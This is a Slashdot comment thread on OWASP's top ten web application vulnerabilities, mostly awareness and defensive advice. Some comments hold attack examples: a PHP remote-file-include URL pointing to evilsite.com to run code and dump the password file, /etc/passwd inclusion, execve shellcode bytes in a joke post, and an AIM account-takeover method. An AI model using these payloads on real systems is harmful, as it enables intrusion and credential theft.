Top 10 Vulnerabilities in Web Applications

sverrehu writes "The Open Web Application Security Project (OWASP) has released a well-written document that is a must read for every web programmer out there. This security document is not about firewalls, encryption and patching. It's about common, highly exploitable errors made by the application programmers. Pick up your copy of "The Ten Most Critical Web Application Security Vulnerabilities" from the OWASP web site."

Open Source Needs People to Reuse code

One thing I notice is the large numbers of people who keep making the same require() or include() mistakes in php which allow attackers to run remote code. If you look at the relevant full disclosure lists there are several of these posted every week - Scanning tools like the Qualys Scanner spend a large amount of time looking for these easily preventable bugs - there must be thousands of these.

Make open source more secure, share your experience, police each other, make M$ security look bad. When you make a security fix in code make sure you comment it - someone is probably going to copy it as an example. Don't let mistakes or inexperience spread.

Re:Open Source Needs People to Reuse code

I believe hes referring to this construct.
a simple example of a bad include is

include($theme . "theme.php");

Basically is $theme isn't set then it uses some default theme, but alternate themese can be set in the url e.g.

webpage.php?theme=brushedmetal

now.....

the reason this can be dangerous is that php can include files across http urls so I could go to the page with a URL like

webpage.php?theme=http://evilsite.com/

and on evilsite.com have a theme.php file which does something like

So I get the password file spat back to me (obviously evilsite.com has to *not* run php otherwise you get the password file from evilsite.com).

Make sure you sanitise those path variables, and if you don't need it disable 'allow_url_fopen' to avoid offsite scripts being used but local files can still be manipulated. Also 'register_globals' stops the user specifying global variables which will also prevent this and other bugs .

Re:Open Source Needs People to Reuse code

one of my favorites is index.php?p=blah.php where you can easily replace blah.php with something a little more interesting, such as /etc/passwd

I've emailed several people notifying them of this problem but not one single person changed their code.

Re:Open Source Needs People to Reuse code

The same thing goes for backup file extensions, such as .php~. The first thing I do when I set up Apache is to make it parse those files as PHP just in case. You'd be amazed at how many peole have vulnerable files like that just lying around. Try looking for index.php~ and you can often find all kinds of stuff from there.

Re:Open Source Needs People to Reuse code

I aggree, but what need to hapen first is good use of design patterns (Active X/Com on linux would make code easy to reuse).

Most people write their own code because either
1: the interface to somone else code is clumsy.
2: They can't find the code there looking for
3: The codes poorly documented, both inters of design and API.
4: Because of the above potential hastles it's quicker.

As a good exmaple there are two UHCI implementations in the 2.4 kernel usb-uhci which has crap code but works and uhci which has nice code and doesn't work that well.
A lot of the functionality is re-implemented in the OHCI module (another USB protocol).

This has been fixed in 2.5 though (but not fully intergrated with things like usnfs yet).

Summary

1. Unvalidated Parameters
2. Broken access control
3. Broken account and access management
4. Cross-site scripting (XSS) flaws
5. Buffer overflows
6. Command injection flaws
7. Error Handling problems
8. Insecure use of cryptography
9. Remote administration flaws
10. Web and application misconfiguration

Re:Summary

"While this is stuff that matters, it certainly isn't news. Folks have been making the same sloppy mistakes and careless oversights since AOL was trading at $140/share. (And that's a long time ago.)"

I'm gonna haveta defend Slashdot here. It may not be news, but /. babbles on and on about security and rarely goes into detail like this about what we can do about it. I only picked up PHP a year ago and just from reading some of the posts here, I've gone back over code I've written to make sure I didn't make those mistakes.

Just because it's not a new topic doesn't mean it's not new to some people. Frankly, I'd rather read old articles like this than the usual finger pointing at Microsoft.

And of course, the obvious ....

11. Getting Slashdotted

Re:Summary

A number of these are just common sense, applicable to all programming.

I found a small software vendor who included the price in the URL of theproduct you are ordering. I was able to modify the prices in the shopping cart at will, of course I did not try to exploit that, but I e-mailed both the vendor and the people who made the shopping cart.

Neother seemed particularly concerned. The vendor responded that all orders are eyeballed by people, problems wouldn't occur. I suppose if you changed all the prices to 1 cent, sure. But what if you just gave yourself a nice little discount?

The fact of the matter is that a lot of developers (and even users) don't seem really concerned (at least until someone screws them over...).

Re:Summary

Err, #1, #5, and #6 can be summarized as: Don't trust user input.

Vulnerability #11

Microsoft .NET and IIS.

Vulnerability #12

Having information potentially of interest to Slashdot.

Re:Vulnerability #11

It's funny because Microsoft = bad!
P.S. They also like money!!

Welcome to Slashdot. A few pointers:

• When referring to The Evil Empire, please use '$' instead of 's'. This holds true even if your currency symbol happens to be different as we are USA centric here.
• When using operator overloading to make a point, please use C syntax, as C is the language of the 1337 h^x0r. The statement above is assigning bad to Micro[$]oft instead of testing for equality. Thus, the syntax should be Micro[$]oft == bad!. In most cases, syntactical errors like these will get you tagged as a BASIC programmer, which is a Bad Thing (TM)
• When using more than one exclamation sign at the end of a sentence related to Micro[$]oft, please use the normative money!!1! syntax by inserting a gratuitous 1 (one) character.

Other than that, please feel free to explore the site. Check out the journal features and keep that karma ticker open at all times.

Thanks!

Did you read that press release??!!??

"I like my web servers just like my women...insecure and full of holes waiting to be exploited." --Bill G.

Excellent Resource

In my opinion, this is a "Must-Read" for anyone charged with web development and especially security. I just downloaded the guide in PDF format, and I find it an excellent read. Win $1 Million in Army Robotics Contest [xnewswire.com]

This is news?

Come on, Microsoft has listed these problems for years now... in the form of Service packs and hot fix descriptions... Sure it wasn't in a bullet form list... but each description had at least one thing from the list...

The real problem is lack of time to properly test code. Somehow in modern businesses, very little time is allocated to GOOD, extensive, useful testing for vulnerablities in apps.

Nice Start

It's a nice start and definately points out some things developers should be aware of. But how about someone puts together a more specific checklist/tutorial for each point and write it around their favorite development language (PHP, ASP (cough), etc.). Who's not busy?

The Biggest Issue

"Hey this application is being run through a firewall, it must be safe" Thats the problem, if you are going to build applications for the web that are useful, you need to build it so it is Safe to run and you dont have worry the end user about what could happen That and we need to kill all the script kiddie hackers.....

#11

Misconfigured Users

quick reminder..

..to those who didnt bother to read the article, it has these lines in it:

This security document is not about firewalls, encryption and patching. It's about common, highly exploitable errors made by the application programmers.

which means every post thats about IIS, Micro$oft, m$, microshaft and god knows what other words you use to make you look like an idiotic open source fanatic with no sense of reality are offtopic.

Already bogging down, here's the text...

The Open Web Application Security Project (OWASP) is dedicated to helping organizations understand and improve the security of their web applications and web services. This list was created to focus government and industry on the most serious of these vulnerabilities. Web application security vulnerabilities are highly exploitable and the consequence of an attack can be devastating. These vulnerabilities represent an equivalent magnitude of risk as network security problems, and should be given the same degree of attention.

Using this list, organizations can send a message to web site developers that "we want you to make sure that you won't make these mistakes." The security issues raised here are not new. In fact, some have been well understood for decades. Yet for some reason, major software development projects are still making these mistakes and jeopardizing not only their customers' security, but also the security of the entire Internet. You can download the entire report in PDF format here

Top Vulnerabilities in Web Applications

A1
Unvalidated Parameters
Information from web requests is not validated before being used by a web application. Attackers can use these flaws to attack backside components through a web application.

A2
Broken Access Control
Restrictions on what authenticated users are allowed to do are not properly enforced. Attackers can exploit these flaws to access other users' accounts, view sensitive files, or use unauthorized functions.

A3
Broken Account and Session Management
Account credentials and session tokens are not properly protected. Attackers that can compromise passwords, keys, session cookies, or other tokens can defeat authentication restrictions and assume other users' identities.

A4
Cross-Site Scripting (XSS) Flaws
The web application can be used as a mechanism to transport an attack to an end user's browser. A successful attack can disclose the end user's session token, attack the local machine, or spoof content to fool the user.

A5
Buffer Overflows
Web application components in some languages that do not properly validate input can be crashed and, in some cases, used to take control of a process. These components can include CGI, libraries, drivers, and web application server components.

A6
Command Injection Flaws
Web applications pass parameters when they access external systems or the local operating system. If an attacker can embed malicious commands in these parameters, the external system may execute those commands on behalf of the web application.

A7
Error Handling Problems
Error conditions that occur during normal operation are not handled properly. If an attacker can cause errors to occur that the web application does not handle, they can gain detailed system information, deny service, cause security mechanisms to fail, or crash the server.

A8
Insecure Use of Cryptography
Web applications frequently use cryptographic functions to protect information and credentials. These functions and the code to integrate them have proven difficult to code properly, frequently resulting in weak protection.

A9
Remote Administration Flaws
Many web applications allow administrators to access the site using a web interface. If these administrative functions are not very carefully protected, an attacker can gain full access to all aspects of a site.

A10
Web and Application Server Misconfiguration
Having a strong server configuration standard is critical to a secure web application. These servers have many configuration options that affect security and are not secure out of the box.

Press Release
Washington, D.C. -- A new report detailing the ten most critical web application security problems was unveiled today by the Open Web Application Security Project. OWASP is dedicated to helping organizations understand and improve the security of their web applications and web services. Download the report from the OWASP website at http://www.owasp.org.

"The OWASP Top Ten list shines a spotlight directly on one of the most serious and often overlooked risks facing government and commercial organizations," said Jeffrey Williams, CEO of web application security firm Aspect Security. "A stunning number of organizations spend big bucks securing the network and somehow forget about the applications."

These flaws are surprisingly common and can be exploited by unsophisticated attackers with easily available tools. When an organization deploys a web application, they invite the world to send HTTP requests. Attacks buried in these requests sail past firewalls, filters, platform hardening, SSL, and IDS without notice because they are inside legal HTTP requests. Therefore, web application code is part of the security perimeter and cannot be ignored.

"This list is an important development for consumers and vendors alike," said Stephen Christey, Mitre CVE editor. "It will educate vendors to avoid the same mistakes that have been repeated countless times in other web applications. But it also gives consumers a way of asking vendors to follow a minimum set of expectations for web application security and, just as importantly, to identify which vendors are not living up to those expectations"

"This 'Ten-Most-Wanting' List acutely scratches at the tip of an enormous iceberg," said Peter G. Neumann, moderator of the ACM Risks Forum. "The underlying reality is shameful: most system and Web application software is written oblivious to security principles, software engineering, operational implications, and indeed common sense."

The Open Web Application Security Project (OWASP) is an Open Source community project staffed entirely by volunteer experts from across the world. Project chair Mark Curphey said, "the OWASP Top Ten Project was formed to capture our collective wisdom and present it in a way that would bring the attention web application security deserves."

Questions or comments about the OWASP Top Ten should be sent to: [e-mail]

Wait just a minute!

So, you're telling me that I *shouldn't* write web apps with remote exploits, buffer overflows and generally crappy security?!?!? Well color me flabbergasted!

Direct link to report

Here. [sourceforge.net]

Post Parameters

Top 10 Vulnerabilities in Web Applications

This seems to be a moving target, though with the first vendor or platform that jumps to mind regarding vulnerabilities is a given. I'd say the root class is MicrosoftVulnerability and subclasses are Windows, Explorer, Outlook, Office, etc, all of which should be behind a firewall and virus/worm filters. Exposing an MS workstation to the internet is asking for it. However...

On unixes (including BSD and Linux) there's been the danger of unexpected post commands on webservers, directory access, etc. When I coded a perl search engine, years ago I found I had to absolutely lock down what was accepted as parameters and subsequent values. Frequenly processes ran with root authority, to access all resources. Granted this was probably the fault of the admin, not wanting to devote time and effort to make all necessary resources available to a special account for scripts to run in. Does this hold true today? (Obviously directories are still frequently available, even on CNN :o)

Buffy Overflows? Fuel Injection Flaws?

Time for new glasses.

Though I would like to see Buffy overflow every now and then.

Not exactly new news

Though I think this is useful information, anyone whose been doing web app development for awhile knows these by heart, and by a few other organs as well.

I can't really get worked up over this announcement, what can I say?

Missing

A11 Link on Slashdot

In spite of many alarming examples, the danger associated with having a link to your web site posted on the Slashdot front page continues to be underestimated by many developers of web applications. Neglect of this threat can cause your web server to actually burn through the floor of your computer building in a manner similar to nuclear meltdown.

Relevant to everything:

"The underlying reality is shameful: most system and Web application software is written oblivious to security principles, software engineering, operational implications, and indeed common sense."

I think a lack of common sense is a problem which applies to almost everything. Judges, certain chip-manufacturing companies, certain companies preventing sales of their better (*cough*alpha*cough*) products, etc, all seem to suffer from this affliction.

Another facet which the article may have neglected to mention is programmers who feel that they're better than the rest of their fellow programmers and so as a result they 'assume' that their software is inherently bug free, because obviously they could never write a buggy applcation.

In the recent case of HP and the Alpha, it seems as though both conceit ('our new chips are better', while quietly ignoring the facts) and a lack of common sense ('hey, how bout we not sell our better and more lucrative product, cuz thatll be fun!') and a dose of good ol' fashioned stupidity are involved...

Lack of common sense, conceit, and stupidity.. While the specifics of this article are clearly about web design, the overall lessons to be learned can, and should, be applied to technology, and life in general.

It's about time common sense became a bit more deserving of the title, and maybe once that happens we won't have to read articles like this one.

a "a must read"?

This is far from a "must read", it's good introduction to common mistakes junior developers/admins make with webapps. There's nothing in there that hasn't been covered before or is well-known to anyone who has even the least bit of real-world experience.

It seems like good information and it's well-written, but it's hardly anything ground breaking.

Re:a "a must read"?

My experience is different than yours. I've spent the two last years giving courses and lectures on exactly these topics to approximately 700 programmers in everything from small, 10-person companies, via banks, to large, international consulting companies. Far less then half of these experienced developers knew about SQL Injection. Next to none fully understood Cross-site-Scripting-based session hijacking.

I used to spend some late evenings looking for symptomes of SQL Injection and Cross-site Scripting (two of the vulnerabilities most easily detected from the outside without doing something really intrusive). I have a list of 170 sites, including banks and web shops that have symptoms on these problems. That's about half of the sites I've checked.

I've skimmed book upon book on "building E-commerce solutions", and every single one of them contains examples with unintended security holes in them. Even books on web application security contains examples that are vulnerable.

So, I strongly disagree with you. In my experience, most web application programmers know next to nothing about these problems.

READ THE PDF!

Don't just scan the summary.. There's nothing that special about the top 10. Read the PDF which actually explains each item, giving examples and what to do about it. That is what makes the site worth looking at.

Papers on web security

www.cgisecurity.com/lib [cgisecurity.com]

Top 10? How about just 2

I guess that you can break these down but to me it seems that the top vulnerabilities are:

Crappy Code - Some of the people that are writting applications today either never learned about security or just don't care. This spans both the closed and open source world (there are examples in both).

Bad Configuration - How many times do we hear about Joe (no offense if your name is Joe and you are an admin) admin configure a webserver (or application) and leave some huge wide open hole because they either couldn't understand the directions in the README or never bothered to look. Then they whine about it when they get 0wn3d .

RIAA should read this

1) Unvalidated Parameters

Information from web requests is not validated before being used by a web application. Attackers can use these flaws to attack backside components through a web application.

2) Broken Access Control

Restrictions on what authenticated users are allowed to do are not properly enforced. Attackers can exploit these flaws to access other users' accounts, view sensitive files, or use unauthorized functions.

If this came out several months earlier maybe the RIAA would have checked their robots.txt and *secured* the folders they didn't want people to mucking around. Story being referenced [theregister.co.uk]

The forgot a very big one...

Unfortunately, they forgot:

-Application allows user to upload a file (attachment, image, etc) somewhere into the webroot.
-Instead of sending a .jpg, the application allows the user to upload a file of any name.
-User uploads "mail_me_your_sources.php", or similar
-This upload becomes executable, user has control of server

S

Re:The forgot a very big one...

You made my mind zoom back to a web project I did in college. Did we make the same mistake?

No. Turns out we were stashing user-uploaded files as blobs in the DB, not as actual files in the webroot. If someone uploaded a PHP file, and then tried to view it, the server would set Content-Type as a JPG image, and the user would probably either see garbage or the actual PHP source.

Not useful..

This is like having 'the top 10 mistakes in programming', when what you really want to know is the top 10 in C++, Java, PHP, Perl, etc.

For those using Perl and SQL..

..Remember, Wall created $dbh->quote() to serve the faithful.

(Actually, I have no idea who did the DB stuff. The point is, use $dbh->quote(), damnit.)

Here's an Example

Here's a quick and language independent example of how easy it is to miss a security hole in a web application: Say you've created a message board with the ability to edit posts. When a user clicks the edit button they get a form with a textarea to type in and the messageID as a hidden field. When they submit the form you do something like this in SQL:

UPDATE forum
SET comment = form.comment
WHERE messageID = form.messageID

Do you see the error there? I can edit the form to send a different messageID and change any comment I want. The solution?

WHERE messageID = form.messageID AND userID = cookie.userID

Because HTML is stateless, you have to authenticate the user on every hit and use that authenticated identity as part of every database action. How you do that is a subject unto itself!

At any rate, I just wanted to show how easy it is to introduce a serious security flaw into a web application. The only countermeasure is competent, careful coding.

Re:Here's an Example

WHERE messageID = form.messageID AND userID = cookie.userID

Yeah, it's a good thing users can't edit the cookies that are stored on their hard disk..... oh wait.

To do something like this securely, give the user a unique session ID and put only that in the cookie. Then manage all their session data on the server side. That's what PHP does.

My top 10 list

I would throw out 9 of the suggested top 10 list and come up with:

1. Buffer overflows
2. Buffer overflows
3. Buffer overflows
4. Buffer overflows
5. Buffer overflows
6. Buffer overflows
7. Buffer overflows
8. Buffer overflows
9. Buffer overflows
10. Buffer overflows

My list is based on 15 years of watching the industry. Things may change for the better, in that buffer overflows decrease and thus other problems become more clear, but I haven't seen that yet.

It certainly is true that there are more tools and languages out there that make it easier to avoid buffer overflows than there were fifteen years ago. Problem is, most folks are still writing application code just like it was fifteen years ago, with fixed-size buffers and system calls that allow you to overflow them, even when the tools permit far more robust stuff to be done.

Re:My top 10 list

You forgot:

11. Buffer Overfloooooooooooooooooooooooooooooooooooooooooooo oooooooooooooooooooooooooooooooooooooooooooooooooo oooooooooooooooooooooooooooooooooooooooooooooooooo oooooooooooooooooooooooooooooooooooooooooooooooooo oooooooooooooooooooooooooooooooooooooooooooooooooo oooooooooows\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x 2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0 \x0b\xcd\x80

root#

How to do it, and how to protect against it...

The article is just a summary. If you want to know more check out: Hacking Web Solutions Exposed [amazon.com]

Buffy

New show on Fox: Buffer the overflow slayer.

isn't this old news?

Read any of the following stories, and they all basically assert the same thing. It usually boils down to the nut holding the keyboard - human error:

• June 2, 2000 - E-Commerce Times - 'Top 10 List' Reveals Internet Security Flaws" [ecommercetimes.com]
• October 21, 2001 - Tech TV - FBI Releases List of Top 20 Computer Risks [techtv.com]
• Monday, September 30, 2002 - PCWorld/Yahoo - List of Top 20 Software Flaws Due [yahoo.com]
• October 17, 2002 - SANS/FBI - The Twenty Most Critical Internet Security Vulnerabilities [sans.org]

The Cross Site Scripting FAQ

XSS FAQ [cgisecurity.com]
It should also be noted OWASP RIPPED some of the content and DID NOT QUOTE it properly. Search for "What can I do to protect myself as a vendor?" in the FAQ and then search for XSS solutions in the owasp paper. Hrm seem familiar?

Well known, but not easy to do . . . .

Yes, all of these vulnerabilities are well known, but the reason that they are common mistakes is because it is so much easier to make them than to avoid them. Making people aware of them isn't the same as instructing people in how to avoid them.

While the list is (appropriately) in OS-neutral and scripting language-neutral terms, the way to correct these problems is specific to the OS, webserver and scripting langauge you are using. So the next question is: what are the resources for addressing these issues, specifically, for particular OSes, webservers and languages?

For those taking the MS approach (and flame it if you want, but IIS isn't about to stop being the #2 web server overnight, so it might as well be done as securely as possible), I can recommend the following two guides from SANS:

Securing Internet Information Server [sans.org]

and

Windows 2000/XP Scripting For Security [sans.org]

These are listed as "course books" on their site, but they stand alone as guides for those who already have some background and knowledge. And if you don't have much background and knowledge, SANS courses are very good. (In fact, just about everything at the SANS website [sans.org] is valuable for the IT professional who wants to know more about security -- which ought to be all of us.)

So, stop just posting that these 10 problems are old news, and post the resources you use (or learned from) to avoid these problems yourself on your platform of choice, so the many (majority?) still making these mistakes can learn to avoid them too.

wow.

so if i don't check user input, that is bad? glad i spent 10 minutes on company time getting my learn on. i'll be sure to pass this on to all of the other developers.

I think the next wave of viruses...

...will be spread in JPEGs, GIFs, PDFs, .txt files, etc.

I don't think anyone has spent too much time looking for buffer overflows in the most common decoders for these filetypes; and I'm sure they exist.

As soon as someone figures out how to the Microsoft's LZW decompressor to overrrun its stack, or how to get a stack corruption in Adobe's Acrobat reader, it will be possible to spread viruses easily, becuase most people aren't afraid to open .GIF or .PDF files.

11) Commonly used passwords

Love, secret, and sex. And don't forget God. System operators love to use God. It's that whole male ego thing.

Buffer overflows

A5
Buffer Overflows It seems to me that a lot of "overflow" type issues are often somewhat of a daemon/application problem. Yes, there are exploits that allow for users who don't do bounds checking etc and cause stupid issues, but a lot of these pop up as part of the application and end up being repaired in bugfixes. Even if you code safely and bounds check, an exploit in the daemon could get this one by you.

Oh... and also, *FOR GAWD SAKE* turn register_globals off. If you must have globals (maybe for a prewritten piece) then write a custom procedure that tags them in and paste it into said prewritten code... preferentially doing integrity checks first!

We come in peace, shoot to kill! - scorched earth

The problem: web programming is easy

I've read it here many times: "web programming is easy, it's not like real programming". The problem is that managers and decision makers also read this kind of un-informed statement.

The truth is that it is easy to get something going on a website, but it is hard to get something that works well and is secure. The amount of time it takes to transform an interesting web demo to a well executed web application is staggering. It is also very hard to explain why all that time is needed. What happens is that web application get launched half-baked. If a company is lucky, the application will only annoy the users, if a company is unlucky, someone will walk right in through a common security hole and comprimise the whole application.

Moral to managers and project planners: believe your programmers when they tell you that there is more then meets the eye in developing web applications.

old

I found that information survey to just state the same stuff that's in every good web developer's book... no news

"Remember me" login option

So this begs the question:

What is a good way to handle the (IMO required) ability for users to click a checkbox so they don't have to enter their login information all the time.

Yes, of course, any access to sensitive data should prompt for a password again even if they're logged in, and SSL is manadatory for some information.

also dangerous:

- having foo.php.bak files.
if these files access databases or contain other passwords they're likely to be visible in the .bak file.

- .inc files.
same probmen if .inc isn't parsed or blocked in any way.

AIM is vulnerable

I read the .pdf and then checked AIM for email change vulnerability. If someone is logged in, AIM lets you change that person's email address. It also gives you the old email. You can then change the user's email to your own, conveniently "forget the password" have AOL email it to you and then change the users email back so they never know you took their password. Sneaky!

Vulnerability number 0

Being /.'d

Dupe

I thought i saw it somewhere. here [slashdot.org]

New version of the document thou.

The gist of it

Assume the user is a madman bent on destroying you and everything you care about... and his only tool is access to ports 80 & 443 of your website.

how to avoid buffer overflow

The only way to avoid buffer overflow problem by application programmers is to use languages where buffer overflow is not possible at all. The only category of such languages I know is pure functional programming languages. All variables/objects must be immature. There should be no way to change the value of any variable/object.

Re:Cough

Wow, that's quite a conspiracy theory. I really don't see how you can blame a object that's in orbit for web server problems ;)

Re:The only safe web server...

well, that's not entirely true. i've found that a good physical layer firewall (not connected) is also pretty safe!

not plugged in works well also...

ecalkin

Re:The story we want to read...

Hey! Don't ride on the shirtail of my fabulous second post assmuncher!!! Who cares about people downloading pervo-porn anyway? Everyone does it. Only a few have the balls to admit it.